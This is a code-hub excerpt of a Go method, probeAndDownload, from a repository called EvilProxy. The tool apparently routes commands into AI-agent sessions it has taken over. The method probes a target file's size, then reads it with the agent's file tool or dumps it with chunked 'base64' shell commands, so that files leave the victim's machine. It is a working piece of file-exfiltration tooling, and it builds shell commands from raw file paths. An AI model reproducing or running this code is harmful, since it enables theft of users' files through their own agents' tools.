MCPcopy Create free account
hub / github.com/chainreactors/EvilProxy / probeAndDownload

Method probeAndDownload

internal/bridge/module_download.go:77–142  ·  view source on GitHub ↗
(ctx ModuleContext, sessionID string, taskID uint32, sess *sessions.Session, shellTool, filePath string)

Source from the content-addressed store, hash-verified

75}
76
77func (m *DownloadModule) probeAndDownload(ctx ModuleContext, sessionID string, taskID uint32, sess *sessions.Session, shellTool, filePath string) {
78 // Enqueue file-size probe.
79 probeCmd := sessions.FileSizeProbeCommand(filePath)
80 probeArgs := sessions.BuildCommandArguments(sess, shellTool, probeCmd)
81 if _, ok := enqueueToolAction(ctx, sessionID, taskID, shellTool, probeArgs); !ok {
82 return
83 }
84
85 // Wait for probe result via TaskManager fan-out.
86 ch := ctx.Tasks.AwaitResult(sessionID, taskID)
87 if ch == nil {
88 ctx.Tasks.Fail(sessionID, taskID, "await failed")
89 return
90 }
91
92 var fileSize int
93 if result, ok := awaitTaskResult(ch, taskID); ok {
94 var err error
95 fileSize, err = sessions.ParseFileSizeOutput(result.Output)
96 if err != nil {
97 log.Warnf("[bridge] failed to parse file size for %s: %v (output: %q)", filePath, err, result.Output)
98 fileSize = 0
99 }
100 }
101
102 log.Infof("[bridge] probed file size for %s: %d bytes (session %s)", filePath, fileSize, sessionID)
103
104 plan := sessions.PlanDownload(fileSize, sess.UserAgent)
105
106 if plan.Strategy == sessions.StrategyDirectTool {
107 readTool := sessions.PickReadTool(sess)
108 if readTool != "" {
109 args := sessions.BuildReadArguments(sess, readTool, filePath)
110 if _, ok := enqueueToolAction(ctx, sessionID, taskID, readTool, args); ok {
111 log.Infof("[bridge] enqueued direct read after probe for session %s: %s", sessionID, filePath)
112 m.waitForReadResult(ctx, sessionID, taskID, ch)
113 return
114 }
115 }
116 // Fall through to shell path.
117 plan.Strategy = sessions.StrategyShellBase64
118 plan.ChunkSize = sessions.MatchAgentProfile(sess.UserAgent).ChunkSizeBytes
119 if fileSize > 0 {
120 plan.NumChunks = (fileSize + plan.ChunkSize - 1) / plan.ChunkSize
121 } else {
122 plan.NumChunks = 1
123 }
124 }
125
126 // Shell + base64 chunked download.
127 if fileSize <= 0 {
128 singleCmd := fmt.Sprintf("base64 '%s'", filePath)
129 m.executeSingleShell(ctx, sessionID, taskID, shellTool, sess, singleCmd, ch)
130 return
131 }
132
133 chunks := sessions.GenerateDownloadChunks(filePath, plan)
134 if len(chunks) == 0 {

Callers 1

HandleMethod · 0.95

Calls 15

waitForReadResultMethod · 0.95
executeSingleShellMethod · 0.95
executeChunksMethod · 0.95
FileSizeProbeCommandFunction · 0.92
BuildCommandArgumentsFunction · 0.92
ParseFileSizeOutputFunction · 0.92
PlanDownloadFunction · 0.92
PickReadToolFunction · 0.92
BuildReadArgumentsFunction · 0.92
MatchAgentProfileFunction · 0.92
GenerateDownloadChunksFunction · 0.92
enqueueToolActionFunction · 0.85

Tested by

no test coverage detected